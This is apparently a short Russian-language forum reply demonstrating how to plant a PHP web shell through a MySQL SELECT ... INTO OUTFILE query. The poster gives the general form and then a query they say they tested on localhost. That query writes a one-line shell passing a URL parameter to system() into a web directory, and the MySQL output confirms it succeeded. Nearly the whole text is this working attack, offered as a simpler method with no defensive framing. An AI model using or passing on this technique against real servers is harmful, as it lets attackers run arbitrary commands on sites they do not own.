Зачем так сложно?
SELECT 'код_шелла' INTO OUTFILE '/путь_к_файлу/shell.php'

Только что протестил на локалхосте:
mysql> select '<? system($_GET[cmd]); ?>' into outfile '/home/localhost/www/shell.php';
Query OK, 1 row affected (0.01 sec)

mysql>